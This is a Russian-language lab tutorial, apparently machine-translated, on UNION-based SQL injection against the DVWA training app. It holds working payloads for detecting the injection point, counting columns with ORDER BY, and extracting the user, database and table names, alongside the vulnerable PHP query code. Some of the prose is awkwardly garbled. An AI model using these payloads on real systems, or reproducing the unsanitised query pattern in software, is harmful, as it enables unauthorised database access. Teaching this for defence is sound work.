Мы знаем, что общий формат запроса на объединение в инструкции SQL выглядит следующим образом:
select 1,2,3 from table_name1 union select 4,5,6 from table_name2;
В процессе внедрения мы называем объединение select 4,5,6 из части table_name2 частью объединения объединения. Его основная функция заключается в объединении объединения с предыдущим оператором SQL и построении его номера столбца и столбца предыдущего оператора SQL. числа одинаковые, например, 1,2,3==4,5,6 — это все 3 столбца. Мы называем этот метод инъекции объединением инъекций.
Здесь я использую для демонстрации часть SQL-инъекций целевой среды DVWA. Введите 1, чтобы отправить обычный запрос и получить возвращаемое значение.
В этой статье мы сосредоточимся на построении части инъекции объединения, и здесь будет кратко обсуждено определение типа точки инъекции. Вводить последовательно 3-2;1 and 1=1; 1” and “1”=”1;1’ and ‘1’=’1; Глядя на эхо-страницу, мы видим, что в этой точке ввода имеется вставка символа одинарной кавычки. может быть основано на 1’ and ‘1’=’1;1’ and ‘1’=’2 Оценка результатов ввода
1' and '1'='1
1' and '1'='2
В концептуальной части мы знаем, что одним из ключевых моментов внедрения объединения является определение количества столбцов в исходном SQL. Здесь мы можем передать порядок. by n # судить. н Указывает количество столбцов, # указывает на комментарии, используемые для порядка точек комментариев. by nзадняя частьSQL。Вводить последовательно1’ order by 5#;1’ order by 3#;1’ order by 2#
1' order by 5#
1' order by 2#
При заказе 1' на 5#, поскольку количество столбцов в исходном SQL меньше 5, выдается сообщение об ошибке. После непрерывного уменьшения значения n ошибка не выдается до тех пор, пока n не станет равным 2. В это время это возможно. можно предположить, что количество столбцов в исходном SQL равно 2.
Сначала сконструируйте входные данные так, чтобы их можно было корректно вставить в фоновый исходный SQL. входить 1’ union select 1,2 #
1' union select 1,2 #
1’ Частичное представление объединяется с одинарными кавычками исходного SQL в полные символы. union Частичное представление сращено с исходным оператором SQL. select 1,2 Частично это связано с тем, что злоумышленник, внедряющий SQL-код, может контролировать записанный SQL-код, который должен храниться только с двумя столбцами. # Частично закомментируйте вторую половину исходного SQL. После успешного выполнения мы можем выбрать Преобразуйте части 1 и 2, например выберите пользователь(), база данных(). То есть введите в точку ввода 1’ union select user(),database()#。Получить имя пользователя и имя базы данных
1' union select user(),database()#
Далее мы можем попытаться получить все имена таблиц.,Список,Данные в таблице и т.д.。Возьмем, к примеру, получение имени таблицы.,Введите в точке ввода1’ union select group_concat(table_name),database() from information_schema.tables where table_schema = database() #
1' union select group_concat(table_name),database() from information_schema.tables where table_schema = database() #
С помощью этого оператора мы получаем все имена таблиц под текущим именем базы данных dvwa, включая две таблицы пользователей гостевой книги; Если SQL соответствующим образом изменен, данные таблицы можно получить
Из фона dvwa видно, что фоновый оператор для обработки запроса выглядит следующим образом:
12345678910111213141516171819202122232425262728 | <?phpif( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count $i++; } mysql_close();}?> |
---|
Фоновый SQL: «SELECT first_name, Last_name FROM user WHERE user_id = '$id';». Пользовательский ввод $id напрямую вставляется в исходный SQL, поэтому полный SQL, когда созданная нами часть, вводится в базу данных. и выполняется следующим образом
1234567891011121314151617181920 | 1' and '1'='1SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1';1' and '1'='2SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='2';1' order by 5#SELECT first_name, last_name FROM users WHERE user_id = '1' order by 5#';1' order by 2#SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2#';1' union select 1,2 #SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2 #';1' union select user(),database()#SELECT first_name, last_name FROM users WHERE user_id = '1' union select user(),database()#';1' union select group_concat(table_name),database() from information_schema.tables where table_schema = database() #SELECT first_name, last_name FROM users WHERE user_id = '1' union select group_concat(table_name),database() from information_schema.tables where table_schema = database() #'; |
---|
Атака с помощью инъекции объединения использует соединение объединение или объединение всех для объединения вашего собственного SQL с исходным SQL, тем самым достигая эффекта выполнения произвольных операторов SQL.